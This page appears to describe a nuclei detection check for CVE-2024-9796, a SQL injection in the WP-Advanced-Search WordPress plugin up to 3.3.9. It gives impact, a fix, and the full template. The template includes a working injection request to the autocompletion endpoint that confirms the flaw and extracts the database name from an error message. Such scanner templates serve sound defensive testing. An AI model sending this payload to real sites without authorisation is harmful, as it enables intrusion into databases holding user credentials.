WordPress WP-Advanced-Search <= 3.3.9 - SQL Injection

criticalseverity

9.8CVSS score

3%likelihood of exploitation, next 30 days

88%of all CVEs are less likely

Readycheck to confirm it

The WordPress WP-Advanced-Search plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 3.3.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Impact

Unauthenticated attackers can exploit SQL injection through the autocompletion endpoint to extract sensitive database information including user credentials, posts, comments, and configuration data.

Fix

Update WP-Advanced-Search plugin to a version later than 3.3.9 that properly escapes user supplied parameters and uses prepared SQL statements in autocompletion-PHP5.5.php.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/wp-advanced-search/class.inc/autocompletion/autocompletion-PHP5.5.php?q=admin&t=wp_users%20--&f=user_login&type=&e
Positive when: matches /Table '([a-zA-Z0-9_]+)\.wp_users' doesn't exist/ AND status 200

Run it with nuclei: nuclei -id CVE-2024-9796 -u <target>

The full check

id: CVE-2024-9796

info:
  name: WordPress WP-Advanced-Search <= 3.3.9 - SQL Injection
  author: s4e-io
  severity: critical
  description: |
    The WordPress WP-Advanced-Search plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 3.3.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can exploit SQL injection through the autocompletion endpoint to extract sensitive database information including user credentials, posts, comments, and configuration data.
  remediation: |
    Update WP-Advanced-Search plugin to a version later than 3.3.9 that properly escapes user supplied parameters and uses prepared SQL statements in autocompletion-PHP5.5.php.
  reference:
    - https://wpscan.com/vulnerability/2ddd6839-6bcb-4bb8-97e0-1516b8c2b99b/
    - https://github.com/RandomRobbieBF/CVE-2024-9796
    - https://nvd.nist.gov/vuln/detail/CVE-2024-9796
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-9796
    cwe-id: CWE-89
    epss-score: 0.02996
    epss-percentile: 0.87459
  metadata:
    max-request: 1
    verified: true
    vendor: mathieu_chartier
    product: wp-advanced-search
    framework: wordpress
    fofa-query: body="/wp-content/plugins/wp-advanced-search/"
  tags: cve,cve2024,wp,wordpress,wp-plugin,sqli,wp-advanced-search,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-advanced-search/class.inc/autocompletion/autocompletion-PHP5.5.php?q=admin&t=wp_users%20--&f=user_login&type=&e"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "Table '([a-zA-Z0-9_]+)\\.wp_users' doesn't exist"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        name: database_name
        regex:
          - "([a-zA-Z0-9_]+)\\.wp_users"

References

Use this check only on systems you are authorised to test. Where the data comes from